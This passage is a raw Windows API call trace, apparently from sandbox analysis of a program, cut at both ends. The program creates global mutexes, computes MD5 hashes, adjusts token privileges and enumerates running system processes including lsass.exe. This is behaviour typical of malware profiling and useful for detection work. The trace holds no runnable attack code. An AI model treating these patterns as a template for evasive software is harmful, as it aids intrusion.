(lpEventAttributes=0x1a7fd38, bManualReset=1, bInitialState=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0137.975] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0137.975] GetLastError () returned 0x0 [0137.975] SetSecurityInfo () returned 0x0 [0138.102] LocalFree (hMem=0x818d68) returned 0x0 [0138.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0138.102] CryptAcquireContextW (in: phProv=0x1a7fd28, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7fd28*=0x8386f0) returned 1 [0138.103] CryptCreateHash (in: hProv=0x8386f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1a7fd28 | out: phHash=0x1a7fd28) returned 1 [0138.103] CryptHashData (hHash=0x81fcd8, pbData=0x987f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0138.103] CryptGetHashParam (in: hHash=0x81fcd8, dwParam=0x4, pbData=0x1a7fd2c, pdwDataLen=0x1a7fd38, dwFlags=0x0 | out: pbData=0x1a7fd2c, pdwDataLen=0x1a7fd38) returned 1 [0138.103] CryptGetHashParam (in: hHash=0x81fcd8, dwParam=0x2, pbData=0x988170, pdwDataLen=0x1a7fd2c, dwFlags=0x0 | out: pbData=0x988170, pdwDataLen=0x1a7fd2c) returned 1 [0138.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0138.103] CryptDestroyHash (hHash=0x81fcd8) returned 1 [0138.103] CryptReleaseContext (hProv=0x8386f0, dwFlags=0x0) returned 1 [0138.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0138.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0138.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9881b8 [0138.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0138.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0138.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0138.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0138.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0138.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0138.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9881b8 [0138.104] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0138.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0138.104] GetLastError () returned 0x2 [0138.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x982850 [0138.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9881b8 [0138.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0138.104] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0138.105] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0138.105] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x818d68, lpbSaclPresent=0x1a7fcec, pSacl=0x1a7fd44, lpbSaclDefaulted=0x1a7fcec | out: lpbSaclPresent=0x1a7fcec, pSacl=0x1a7fd44, lpbSaclDefaulted=0x1a7fcec) returned 1 [0138.105] CreateMutexA (lpMutexAttributes=0x1a7fd38, bInitialOwner=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0138.105] GetLastError () returned 0x0 [0138.105] SetSecurityInfo () returned 0x0 [0138.105] LocalFree (hMem=0x818d68) returned 0x0 [0138.105] SetEvent (hEvent=0x128) returned 1 [0138.105] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0138.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9881b8 [0138.108] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1a7fb7c | out: TokenHandle=0x1a7fb7c*=0x158) returned 0x0 [0138.115] NtAdjustPrivilegesToken (in: TokenHandle=0x158, DisableAllPrivileges=0, NewState=0x1a7fb80, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0138.115] NtClose (Handle=0x158) returned 0x0 [0138.115] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1a7fb7c | out: TokenHandle=0x1a7fb7c*=0x158) returned 0x0 [0138.115] NtAdjustPrivilegesToken (in: TokenHandle=0x158, DisableAllPrivileges=0, NewState=0x1a7fb80, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0138.115] NtClose (Handle=0x158) returned 0x0 [0138.115] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0138.115] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988200 [0138.115] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988248 [0138.115] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x0) returned 0xa9d278 [0138.115] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x982850 [0138.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x982850, Length=0x4000, ResultLength=0x1a7fb10 | out: SystemInformation=0x982850, ResultLength=0x1a7fb10*=0x7fa8) returned 0xc0000004 [0138.116] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x7fc0) returned 0x989690 [0138.117] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0138.117] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x989690, Length=0x7fa8, ResultLength=0x1a7fb10 | out: SystemInformation=0x989690, ResultLength=0x1a7fb10*=0x6470) returned 0x0 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0xa9dd90 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988290 [0138.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9882d8 [0138.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x9882d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 8 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988320 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9882d8) returned 1 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988320) returned 1 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988320 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988320) returned 1 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988320 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991658 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e840 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9882d8 [0138.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x988368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883b0 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9883b0) returned 1 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883b0 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9883b0) returned 1 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x9916b8 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883b0 [0138.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 11 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883f8 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9883f8) returned 1 [0138.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883f8 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9883f8) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991718 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883f8 [0138.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x988368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988440 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988440) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988440 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988440) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991778 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988440 [0138.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x988368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 12 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988488 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988488) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988488 [0138.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988488) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x9917d8 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988488 [0138.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0138.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x988368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 12 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9884d0 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9884d0) returned 1 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9884d0 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9884d0) returned 1 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991838 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eb70 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9884d0 [0138.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x988368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991898 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ebf8 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x988368, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 7 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988560 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988560) returned 1 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988560 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988560) returned 1 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x9918f8 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ec80 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988560 [0138.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885a8 [0138.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885a8) returned 1 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885a8 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885a8) returned 1 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991958 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ed08 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885a8 [0138.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885f0 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885f0) returned 1 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885f0 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885f0) returned 1 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x9919b8 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ed90 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885f0 [0138.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988638 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988638) returned 1 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988638 [0138.121] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988638) returned 1 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991a18 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988638 [0138.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988680 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988680) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988680 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988680) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991a78 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988680 [0138.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9886c8 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9886c8) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9886c8 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9886c8) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991ad8 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9886c8 [0138.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 11 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988710 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988710) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988710 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988710) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991b38 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9efb0 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988710 [0138.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) 